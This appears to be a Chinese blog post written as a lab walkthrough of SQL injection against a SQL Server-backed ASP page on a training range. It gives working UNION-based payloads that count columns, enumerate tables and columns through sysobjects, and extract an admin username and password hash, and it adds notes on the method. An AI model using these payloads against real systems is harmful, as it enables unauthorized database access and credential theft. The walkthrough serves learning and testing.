1、判断数据库类型
抓包知sql server,所以注入语句跟MySQL有些区别
2、判断注入点
“http://219.153.49.228:42514/new_list.asp?id=2 ”,当id=2 and 1=1时显示正确,id=2 and 1=2时页面报错。
3、确定列数为 4
-
/new_list.asp?id=2 ORDER BY 1
成功 -
/new_list.asp?id=2 ORDER BY 2
成功 -
/new_list.asp?id=2 ORDER BY 3
失败 -
/new_list.asp?id=2 ORDER BY 4
成功 -
/new_list.asp?id=2 ORDER BY 5
失败 -
/new_list.asp?id=2 ORDER BY 6
失败 -
/new_list.asp?id=2 ORDER BY 7
失败
根据这些信息,
ORDER BY 4
成功,而ORDER BY 3
失败,这看起来很矛盾,因为一般来说,如果ORDER BY 3
失败,ORDER BY 4
应该也会失败。分析原因:
SQL查询结构: 可能你查询的SQL语句涉及了多个表连接或者子查询,这会导致某些列存在而其他列不存在的情况。
自定义排序: 数据库的查询中可能存在自定义排序逻辑,某些列可能只在特定条件下可用。
***所以sql测试中,我们需要进行更多测试以确认列数
4、判断回显字段
这其实还要分两种情况:
1、回显的字段是字符型,还是整数型或其他
数据类型匹配:
数据库表中的列有特定的数据类型(如整数、字符串、日期等)。当注入的值与列的数据类型不匹配时,会导致SQL语法错误或类型错误。例如,如果某列期望一个字符串类型的数据,而你传入一个整数,数据库可能会报错。
SQL查询构造:
SQL注入构造的查询语句需要与数据库表的结构和列类型匹配。使用单引号包裹的值通常被解释为字符串类型,而不使用引号的值通常被解释为数字或列名。
2、注入成功是要在页面正常显示情况下回显字段,还是页面报错情况下才会回显字段
正常页面:当提供的id
值有效时,原始查询会返回一个正常的结果集,页面会显示该结果。如果 UNION ALL SELECT
注入成功,并且注入的列恰好在显示内容中,那么注入的结果可能会被id值结果覆盖。错误页面:当提供的 id
值无效时,原始查询失败,页面可能显示错误信息或没有结果。在这种情况下,注入的 UNION ALL SELECT
可能成为唯一的结果集,因此被显示出来。
思路:
①先假设为全部字段为字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select ‘1’, ‘2’, ‘3’, ‘4’ 。发现并没有回显
②id=-2时,页面报错,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select ‘1’, ‘2’, ‘3’, ‘4’。回显2、3字段
到这已经可以判断出2、3字段是字符型,并且页面有报错信息时才有回显,否则被内容覆盖
然后判断1、4字段类型,需要一个一个去除单引号,判断其回显情况
5、获取数据库信息
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4
6、获取数据表名manage
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’U’),’3′,4
7、获取列名:id、name
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),(select top 1 col_name(object_id(‘manage’),2) from sysobjects),4
以此类推,获取第3个字段,第4个字段
8、查出用户名和密码
用户名:admin_mz、加密密码:72e1bfc3f01b7583
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4
9、md5解密
9、总结
1、判断数据类型是很重要的一点,影响后面的注入语句
2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试
3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖
4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号
5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形
到此这篇关于sql server数据库如何进行sql注入的文章就介绍到这了,更多相关sql server数据库sql注入内容请搜索IT俱乐部以前的文章或继续浏览下面的相关文章希望大家以后多多支持IT俱乐部!